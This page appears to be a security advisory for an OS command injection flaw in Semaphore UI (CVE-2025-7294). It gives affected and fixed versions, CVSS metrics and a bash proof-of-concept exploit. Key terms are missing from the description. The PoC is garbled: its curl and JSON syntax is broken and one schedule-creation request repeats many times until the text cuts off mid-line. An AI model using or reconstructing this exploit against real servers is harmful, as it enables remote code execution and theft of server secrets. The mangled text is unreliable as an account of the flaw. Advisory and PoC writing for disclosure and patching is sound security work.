Semaphore UI OS Command Injection Vulnerability (CVE-2025-7294) and Patch

Vulnerability Overview semaphoreUI v2.18.13 OS Command Injection - Critical vulnerability Vulnerability Type: OS Command Injection (Parameter Injection, CWE-88 - CWE-78) Description: In the handling of , any user with the Manager or Owner role can execute remote code on any project. By exploiting the option, attackers can execute arbitrary commands. The commands are executed within the Semaphore server process (via the scheduler cron pool), even when no jobs are running. This bypasses runner isolation and allows the execution of the main server encryption key and project secrets. It is reproducible in a default installation ( ) without requiring default configuration changes. Scope of Impact Affected Versions: 2.18.12, 2.18.13, 2.18.16 Fixed Version: 2.18.20 CVSS v3 Base Metrics: - Attack Vector: Network - Attack Complexity: Low - Privileges Required: Low - User Interaction: None - Scope: Changed - Confidentiality: High - Integrity: High - Availability: High CVE ID: CVE-2025-7294 Weaknesses: CWE-78, CWE-88 Affected Users: Any Semaphore deployment running the default . The attacker only needs one user holding the Manager or Owner role. If is enabled, any authenticated user can exploit this, as they can create a project and become its owner. Global administrators always qualify. Remediation Fixed Version: Upgrade to version 2.18.20 or later. POC Code ```bash Terminal 1 — config + users + server cd ~\PoC && mkdir -p tmp cat > config.json onboard.sh /dev/null PROJ_PID=$(curl -s -X "$JAR" -X POST "$BASE/api/projects" -H "Content-Type: application/json" -d '{"name":"team-project","alert":false}') python3 -c "import sys,json;print(json.load(sys.stdin)['id'])" rce.sh <<EOF #!/usr/bin/env bash set -euo pipefail BASE="${BASE:-http://127.0.0.1:3000}"; LOGIN="${LOGIN:-lowpriv}"; PASS="${PASS:-LowPriv123!}" JAR=$(mktemp); PROJ_PID=$(cat /tmp/PoC/project_id.txt) CMD="${CMD:-bash -c 'echo \$884 JAR=$(mktemp); JID=$(python3 -c "import sys,json;print(json.load(sys.stdin)['id'])" <<< "$(curl -s -X "$JAR" -X POST "$BASE/api/project/$PROJ_PID/keys" -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"type\":\"application/json\",\"id\":\"$JID"}')") BID=$(python3 -c "import sys,json;print(json.dumps([{\"name\":\"\\\"\\",\"type\":\"application/json\",\"id\":\"$JID\"}]))") TID=$(python3 -c "import sys,json;print(json.dumps([{\"name\":\"\\\"\\",\"type\":\"application/json\",\"id\":\"$JID\"}]))") POST /api/project/$PROJ_PID/templates -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbo

Goal Reached Thanks to every supporter — we hit 100%!

Semaphore UI OS Command Injection Vulnerability (CVE-2025-7294) and Patch

More from this source